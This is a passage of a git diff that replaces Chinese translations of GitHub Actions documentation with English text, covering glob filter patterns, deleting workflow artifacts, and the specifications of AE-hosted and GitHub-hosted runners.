`!`：在模式开始时，它将否定以前的正模式。 如果不是第一个字符，它就没有特殊的意义。 +- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`. +- `**`: Matches zero or more of any character. +- `?`: Matches zero or one of the preceding character. +- `+`: Matches one or more of the preceding character. +- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`. +- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character. -字符 `*`、`[` 和 `!` 是 YAML 中的特殊字符。 如果模式以 `*`、`[` 或 `!` 开头，必须用引号括住模式。 +The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. ```yaml # Valid @@ -1506,39 +1541,39 @@ Allowed expression contexts: `github`, `needs`, and `secrets`. - **/README.md ``` -有关分支、标记和路径过滤语法的更多详细，请参阅 "[`on..`](#onpushpull_requestbranchestags)" 和 "[`on..paths`](#onpushpull_requestpaths)"。 +For more information about branch, tag, and path filter syntax, see "[`on..`](#onpushpull_requestbranchestags)" and "[`on..paths`](#onpushpull_requestpaths)." -### 匹配分支和标记的模式 +### Patterns to match branches and tags -| 模式 | 描述 | 示例匹配 | -| ------------------------------------------------------- | -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | -| `feature/*` | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。 | `feature/my-branch`

                    `feature/your-branch` | -| `feature/**` | `**` 通配符匹配任何字符，包括分支和标记名称中的斜杠 (`/`)。 | `feature/beta-a/my-branch`

                    `feature/your-branch`

                    `feature/mona/the/octocat` | -| `main`

                    `releases/mona-the-octocat` | 匹配分支或标记名称的确切名称。 | `main`

                    `releases/mona-the-octocat` | -| `'*'` | 匹配所有不包含斜杠 (`/`) 的分支和标记名称。 `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。 | `main`

                    `releases` | -| `'**'` | 匹配所有分支和标记名称。 这是不使用 `branches` or `tags` 过滤器时的默认行为。 | `all/the/branches`

                    `every/tag` | -| `'*feature'` | `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。 | `mona-feature`

                    `feature`

                    `ver-10-feature` | -| `v2*` | 匹配以 `v2` 开头的分支和标记名称。 | `v2`

                    `v2.0`

                    `v2.9` | -| `v[12].[0-9]+.[0-9]+` | 将所有语义版本控制分支和标记与主要版本 1 或 2 匹配 | `v1.10.1`

                    `v2.0.0` | +| Pattern | Description | Example matches | +|---------|------------------------|---------| +| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). | `feature/my-branch`

                    `feature/your-branch` | +| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`

                    `feature/your-branch`

                    `feature/mona/the/octocat` | +| `main`

                    `releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`

                    `releases/mona-the-octocat` | +| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`

                    `releases` | +| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`

                    `every/tag` | +| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`

                    `feature`

                    `ver-10-feature` | +| `v2*` | Matches branch and tag names that start with `v2`. | `v2`

                    `v2.0`

                    `v2.9` | +| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2 | `v1.10.1`

                    `v2.0.0` | -### 匹配文件路径的模式 +### Patterns to match file paths -路径模式必须匹配整个路径，并从仓库根开始。 +Path patterns must match the whole path, and start from the repository's root. -| 模式 | 匹配描述 | 示例匹配 | -| ----------------------------------------------------------------------- | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | -| `'*'` | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。 `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。 | `README.md`

                    `server.rb` | -| `'*.jsx?'` | `?` 个字符匹配零个或一个前缀字符。 | `page.js`

                    `page.jsx` | -| `'**'` | The `**` 通配符匹配任何字符，包括斜杠 (`/`)。 这是不使用 `path` 过滤器时的默认行为。 | `all/the/files.md` | -| `'*.js'` | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。 匹配仓库根目录上的所有 `.js` 文件。 | `app.js`

                    `index.js` | -| `'**.js'` | 匹配仓库中的所有 `.js` 文件。 | `index.js`

                    `js/index.js`

                    `src/js/app.js` | -| `docs/*` | 仓库根目录下 `docs` 根目录中的所有文件。 | `docs/README.md`

                    `docs/file.txt` | -| `docs/**` | 仓库根目录下 `/docs` 目录中的任何文件。 | `docs/README.md`

                    `docs/mona/octocat.txt` | -| `docs/**/*.md` | `docs` 目录中任意位置具有 `.md` 后缀的文件。 | `docs/README.md`

                    `docs/mona/hello-world.md`

                    `docs/a/markdown/file.md` | -| `'**/docs/**'` | 仓库中任意位置 `docs` 目录下的任何文件。 | `docs/hello.md`

                    `dir/docs/my-file.txt`

                    `space/docs/plan/space.doc` | -| `'**/README.md'` | 仓库中任意位置的 README.md 文件。 | `README.md`

                    `js/README.md` | -| `'**/*src/**'` | 仓库中任意位置具有 `src` 后缀的文件夹中的任何文件。 | `a/src/app.js`

                    `my-src/code/js/app.js` | -| `'**/*-post.md'` | 仓库中任意位置具有后缀 `-post.md` 的文件。 | `my-post.md`

                    `path/their-post.md` | -| `'**/migrate-*.sql'` | 仓库中任意位置具有前缀 `migrate-` 和后缀 `.sql` 的文件。 | `migrate-10909.sql`

                    `db/migrate-v1.0.sql`

                    `db/sept/migrate-v1.sql` | -| `*.md`

                    `!README.md` | 模式前使用感叹号 (`!`) 对其进行否定。 当文件与模式匹配并且也匹配文件后面定义的否定模式时，则不包括该文件。 | `hello.md`

                    _Does not match_

                    `README.md`

                    `docs/hello.md` | -| `*.md`

                    `!README.md`

                    `README*` | 按顺序检查模式。 否定前一个模式的模式将重新包含文件路径。 | `hello.md`

                    `README.md`

                    `README.doc` | +| Pattern | Description of matches | Example matches | +|---------|------------------------|-----------------| +| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`

                    `server.rb` | +| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`

                    `page.jsx` | +| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` | +| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`

                    `index.js` +| `'**.js'` | Matches all `.js` files in the repository. | `index.js`

                    `js/index.js`

                    `src/js/app.js` | +| `docs/*` | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`

                    `docs/file.txt` | +| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`

                    `docs/mona/octocat.txt` | +| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`

                    `docs/mona/hello-world.md`

                    `docs/a/markdown/file.md` +| `'**/docs/**'` | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`

                    `dir/docs/my-file.txt`

                    `space/docs/plan/space.doc` +| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`

                    `js/README.md` +| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`

                    `my-src/code/js/app.js` +| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`

                    `path/their-post.md` | +| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`

                    `db/migrate-v1.0.sql`

                    `db/sept/migrate-v1.sql` | +| `*.md`

                    `!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`

                    _Does not match_

                    `README.md`

                    `docs/hello.md` | +| `*.md`

                    `!README.md`

                    `README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`

                    `README.md`

                    `README.doc`| diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md index 5d3875f437..48ddd8c004 100644 --- a/translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md +++ b/translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -1,23 +1,23 @@ --- -title: 删除工作流程构件 -intro: '您可以在构件于 {% data variables.product.product_name %} 上过期之前删除它们，回收已经使用的 {% data variables.product.prodname_actions %} 存储。' +title: Removing workflow artifacts +intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.product_name %}.' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: 删除工作流程构件 +shortTitle: Remove workflow artifacts --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 删除构件 +## Deleting an artifact {% warning %} -**警告：** 构件一旦删除，便无法恢复。 +**Warning:** Once you delete an artifact, it can not be restored. {% endwarning %} @@ -29,20 +29,19 @@ shortTitle: 删除工作流程构件 {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. 在 **Artifacts（构件）**下，单击 -您要删除的构件旁边的 {% octicon "trash" aria-label="The trash icon" %}。 +1. Under **Artifacts**, click {% octicon "trash" aria-label="The trash icon" %} next to the artifact you want to remove. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - ![删除构件下拉菜单](/assets/images/help/repository/actions-delete-artifact-updated.png) + ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png) {% else %} - ![删除构件下拉菜单](/assets/images/help/repository/actions-delete-artifact.png) + ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png) {% endif %} -## 设置构件的保留期 +## Setting the retention period for an artifact -可在仓库、组织和企业级配置构件和日志的保留期。 更多信息请参阅“[使用限制、计费和管理](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)”。 +Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)." -您也可以在工作流程中使用 `actions/upload-artifact` 操作自定义个别构件的保留期。 更多信息请参阅“[将工作流程存储为构件](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)”。 +You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)." -## 查找构件的到期日期 +## Finding the expiration date of an artifact -您可以使用 API 确认构件计划删除的日期。 更多信息请参阅“[列出仓库的构件](/rest/reference/actions#artifacts)”返回的 `expires_at` 值。 +You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by "[List artifacts for a repository](/rest/reference/actions#artifacts)." diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md index e3808fa0e2..ef56c743ec 100644 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ b/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: 关于 AE 托管的运行器 -intro: '{% data variables.product.prodname_ghe_managed %} 提供可定制和安全强化的托管虚拟机，以运行 {% data variables.product.prodname_actions %} 工作流程。 您可以选择硬件，自带机器映像，并启用 IP 地址以与您的 {% data variables.actions.hosted_runner %} 联网。' +title: About AE hosted runners +intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' versions: ghae: '*' --- @@ -8,98 +8,98 @@ versions: {% data reusables.actions.ae-hosted-runners-beta %} {% data reusables.actions.ae-beta %} -## 关于 {% data variables.actions.hosted_runner %} +## About {% data variables.actions.hosted_runner %}s -{% data variables.actions.hosted_runner %} 是由安装了 {% data variables.product.prodname_dotcom %} 运行器服务的 {% data variables.product.prodname_actions %} 管理的虚拟机。 {% data variables.actions.hosted_runner %} 专供您的企业使用，您可以从一系列硬件和软件选项中进行选择。 默认情况下， {% data variables.actions.hosted_runner %} 完全由 {% data variables.product.company_short %} 进行管理和自动缩放，以最大限度地提高性能，同时最大限度地降低成本。{% ifversion ghae-next %} 您可以选择性配置此自动缩放的参数，以进一步降低您的成本。{% endif %} +An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} -{% data variables.product.prodname_ghe_managed %} 允许您使用 Ubuntu 或 Windows 映像创建和自定义 {% data variables.actions.hosted_runner %}；您可以选择您想要的机器大小，并选择性为 {% data variables.actions.hosted_runner %} 配置固定的公共 IP 范围。 +{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. -每个工作流程作业都是在 {% data variables.actions.hosted_runner %} 的新实例中执行，您可以直接在虚拟机上或 Docker 容器中运行工作流程。 作业中的所有步骤都在同一实例中执行，允许该作业中的操作使用 {% data variables.actions.hosted_runner %} 的文件系统共享信息。 +Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. -要将 {% data variables.actions.hosted_runner %} 添加到您的组织或企业，请参阅[“添加 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/adding-ae-hosted-runners)”。 +To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." -## {% data variables.actions.hosted_runner %} 的资源池分配 +## Pool assignments for {% data variables.actions.hosted_runner %}s -您的 {% data variables.actions.hosted_runner %} 被分配到与您的 {% data variables.product.prodname_ghe_managed %} 实例相同的资源池。 没有其他客户可以访问此资源池，因此 {% data variables.actions.hosted_runner %}s 不与任何其他客户共享。 +Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. -## 管理 {% data variables.actions.hosted_runner %} +## Managing your {% data variables.actions.hosted_runner %}s -在 {% data variables.actions.hosted_runner %} 测试期间，您可以联系 {% data variables.product.prodname_dotcom %} 支持来管理您的 {% data variables.actions.hosted_runner %}。 例如，{% data variables.product.prodname_dotcom %} 支持可以帮助您新增 {% data variables.actions.hosted_runner %}、分配标签，或者将 {% data variables.actions.hosted_runner %} 移动到另一个组。 +During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. -## 计费 +## Billing -测试结束后，计费使用将包括您的 AE 托管运行器集中活动实例的全时运行时间。 这包括： -- 作业时间 - 运行 Actions 作业所用的分钟数。 -- 管理 - 重新映像机器{% ifversion ghae-next %} 所用的分钟数，以及因所需的自动扩展行为而产生的任何空闲时间。{% endif %} +Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. This includes: +- Job time - minutes spent running Actions job. +- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. -定价将与核心线性扩展。 例如，4 核价格将是 2 核的两倍。 Windows 虚拟机的定价将高于 Linux 虚拟机。 +Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. -## 硬件规格 +## Hardware specifications -{% data variables.actions.hosted_runner %} 可用于 Microsoft Azure 中托管的一系列虚拟机。 根据地区供应情况，您可以从 `Standard_Das_v4`、`Standard_DS_v2`、`Standard_Fs_v2 系列`中选择。 某些地区还包含基于 `Standard_NCs_v3` 的 GPU 运行器。 +{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. -有关这些 Azure 机器资源的更多信息，请参阅 Microsoft Azure 文档中的“[Azure 中虚拟机的大小](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)”。 +For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. -要确定哪个运行器执行了作业，您可以查看工作流程日志。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。 +To determine which runner executed a job, you can review the workflow logs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -## 软件规格 +## Software specifications -您可以将 {% data variables.actions.hosted_runner %} 与标准操作系统映像一起使用，也可以添加您创建的映像。 +You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. -### 默认操作系统映像 +### Default operating system images -这些映像仅包括标准操作系统工具： +These images only include the standard operating system tools: - Ubuntu 18.04 LTS (Canonical) - Ubuntu 16.04 LTS (Canonical) - Windows Server 2019 (Microsoft) - Windows Server 2016 (Microsoft) -### 自定义操作系统映像 +### Custom operating system images -您可以在 Azure 中创建自己的操作系统映像，并将它们作为 {% data variables.actions.hosted_runner %} 添加到 {% data variables.product.prodname_ghe_managed %} 中。 更多信息请参阅“[使用自定义映像添加 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image)”。 +You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). -## 网络规范 +## Network specifications -您可以选择性为您的 {% data variables.actions.hosted_runner %} 启用固定静态公共 IP 地址。 如果启用，实例中的所有 {% data variables.actions.hosted_runner %} 将共享 2 到 4 个 IP 地址的范围，并将使用这些地址上的端口进行通信。 +You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. -如果您不启用静态公共 IP 地址，则 {% data variables.actions.hosted_runner %} 随后将与 Azure 数据中心拥有相同的 IP 地址范围。 入站 ICMP 数据包被阻止，因此 `ping` 或 `traceroute` 命令无法按预期工作。 +If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. -要获取 {% data variables.product.prodname_actions %} 用于 {% data variables.actions.hosted_runner %} 的 IP 地址范围列表，您可以使用 {% data variables.product.prodname_dotcom %} REST API。 更多信息请参阅“[获取 GitHub 元信息](/rest/reference/meta#get-github-meta-information)”端点响应中的 `actions` 键。 如果需要一个允许列表来阻止未经授权访问您的内部资源，您可以使用此 IP 地址列表。 +To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. You can use this list of IP addresses if you require an allow-list to prevent unauthorized access to your internal resources. -API 返回的 {% data variables.product.prodname_actions %} IP 地址列表每周更新一次。 +The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. {% ifversion ghae-next %} -## 自动缩放 +## Autoscaling -每个 {% data variables.actions.hosted_runner %} 池都完全由 {% data variables.product.company_short %} 管理，以最大限度地提高性能，同时最大限度地降低成本。 （可选）您可以联系 {% data variables.contact.github_support %} 来配置企业的自动化参数。 您可以定义空闲运行器的最小数量以及运行器在从池中移除之前保持空闲的时间。 每个池可以包含最多 600 个运行器。 +Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. {% endif %} -## {% data variables.actions.hosted_runner %} 的管理权限 +## Administrative privileges for {% data variables.actions.hosted_runner %}s -Linux 虚拟机使用无密码的 `sudo` 运行。 在需要比当前用户更多的权限才能执行命令或安装工具时，您可以使用无需提供密码的 `sudo`。 更多信息请参阅“[Sudo 手册](https://www.sudo.ws/man/1.8.27/sudo.man.html)”。 +The Linux virtual machines run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." -Windows 虚拟机配置为以禁用了用户帐户控制 (UAC) 的管理员身份运行。 更多信息请参阅 Windows 文档中的“[用户帐户控制工作原理](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)”。 +Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. -## 文件系统 +## File systems -{% data variables.product.prodname_dotcom %} 在虚拟机上的特定目录中执行操作和 shell 命令。 虚拟机上的文件路径不是静态的。 使用环境变量 {% data variables.product.prodname_dotcom %} 提供 `home`、`workspace` 和 `workflow` 目录的构建文件路径。 +{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. -| 目录 | 环境变量 | 描述 | -| --------------------- | ------------------- | --------------------------------------------------------------------------------------------------------- | -| `home` | `HOME` | 包含用户相关的数据。 例如，此目录可能包含登录凭据。 | -| `workspace` | `GITHUB_WORKSPACE` | 在此目录中执行操作和 shell 命令。 操作可以修改此目录的内容，后续操作可以访问这些修改。 | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | 触发工作流程的 web 挂钩事件的 `POST` 有效负载。 每当操作执行时，{% data variables.product.prodname_dotcom %} 都会重写此变量，以隔离操作之间的文件内容。 | +| Directory | Environment variable | Description | +|-----------|----------------------|-------------| +| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | +| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | +| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. -有关 {% data variables.product.prodname_dotcom %} 为每个操作创建的环境变量列表，请参阅“[使用环境变量](/github/automating-your-workflow-with-github-actions/using-environment-variables)”。 +For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." -### Docker 容器文件系统 +### Docker container filesystem -在 Docker 容器中运行的操作在 `/github` 路径下有静态目录。 但强烈建议使用默认环境变量在 Docker 容器中构建文件路径。 +Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. -{% data variables.product.prodname_dotcom %} 保留 `/github` 路径前缀，并为操作创建三个目录。 +{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - `/github/home` - `/github/workspace` - {% data reusables.repositories.action-root-user-required %} diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md index 4c580fe86e..b1956d1a34 100644 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md +++ b/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub 托管的运行器 -intro: '{% data variables.product.prodname_dotcom %} 提供托管的虚拟机来运行工作流程。 虚拟机包含可供 {% data variables.product.prodname_actions %} 使用的工具、包和设置。' +title: About GitHub-hosted runners +intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.' redirect_from: - /articles/virtual-environments-for-github-actions - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions @@ -13,7 +13,7 @@ versions: fpt: '*' ghes: '*' ghec: '*' -shortTitle: GitHub 托管的运行器 +shortTitle: GitHub-hosted runners --- {% data reusables.actions.ae-hosted-runners-beta %} @@ -21,60 +21,62 @@ shortTitle: GitHub 托管的运行器 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于 {% data variables.product.prodname_dotcom %} 托管的运行器 +## About {% data variables.product.prodname_dotcom %}-hosted runners -{% data variables.product.prodname_dotcom %} 托管的运行器是由安装了 {% data variables.product.prodname_actions %} 运行器应用程序的 {% data variables.product.prodname_dotcom %} 托管的虚拟机。 {% data variables.product.prodname_dotcom %} 提供使用 Linux、Windows 和 macOS 操作系统的运行器。 +A {% data variables.product.prodname_dotcom %}-hosted runner is a virtual machine hosted by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner application installed. {% data variables.product.prodname_dotcom %} offers runners with Linux, Windows, and macOS operating systems. -使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，设备维护和升级由您负责。 您可以直接在虚拟机上或 Docker 容器中运行工作流程。 +When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you. You can run workflows directly on the virtual machine or in a Docker container. -可以为工作流程中的每项作业指定运行器类型。 工作流程中的每项作业都在全新的虚拟机实例中执行。 作业中的所有步骤在同一虚拟机实例中执行，让该作业中的操作使用文件系统共享信息。 +You can specify the runner type for each job in a workflow. Each job in a workflow executes in a fresh instance of the virtual machine. All steps in the job execute in the same instance of the virtual machine, allowing the actions in that job to share information using the filesystem. {% ifversion not ghes %} {% data reusables.github-actions.runner-app-open-source %} -### {% data variables.product.prodname_dotcom %} 托管的运行器的云主机 +### Cloud hosts for {% data variables.product.prodname_dotcom %}-hosted runners -{% data variables.product.prodname_dotcom %} 在 Microsoft Azure 中安装了 {% data variables.product.prodname_actions %} 运行器应用程序的 Standard_DS2_v2 虚拟机上托管 Linux 和 Windows 运行器。 {% data variables.product.prodname_dotcom %} 托管的运行器应用程序是 Azure Pipelines Agent 的复刻。 入站 ICMP 数据包被阻止用于所有 Azure 虚拟机，因此 ping 或 traceroute 命令可能无效。 有关 Standard_DS2_v2 机器资源的更多信息，请参阅 Microsoft Azure 文档中的“[Dv2 和 DSv2 系列](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)”。 +{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on Standard_DS2_v2 virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the Standard_DS2_v2 machine resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation. -{% data variables.product.prodname_dotcom %} 在 {% data variables.product.prodname_dotcom %} 自己的 macOS Cloud 中托管 macOS 运行器。 +{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud. -### {% data variables.product.prodname_dotcom %} 托管的运行器的工作流程连续性 +### Workflow continuity for {% data variables.product.prodname_dotcom %}-hosted runners {% data reusables.github-actions.runner-workflow-continuity %} -此外，如果工作流程运行已成功排队，但未在 45 分钟内由 {% data variables.product.prodname_dotcom %} 托管的运行器处理，则会丢弃排队的工作流程运行。 +In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded. -### {% data variables.product.prodname_dotcom %} 托管的运行器的管理权限 +### Administrative privileges of {% data variables.product.prodname_dotcom %}-hosted runners -Linux 和 macOS 虚拟机都使用无密码的 `sudo` 运行。 在需要比当前用户更多的权限才能执行命令或安装工具时，您可以使用无需提供密码的 `sudo`。 更多信息请参阅“[Sudo 手册](https://www.sudo.ws/man/1.8.27/sudo.man.html)”。 +The Linux and macOS virtual machines both run using passwordless `sudo`. 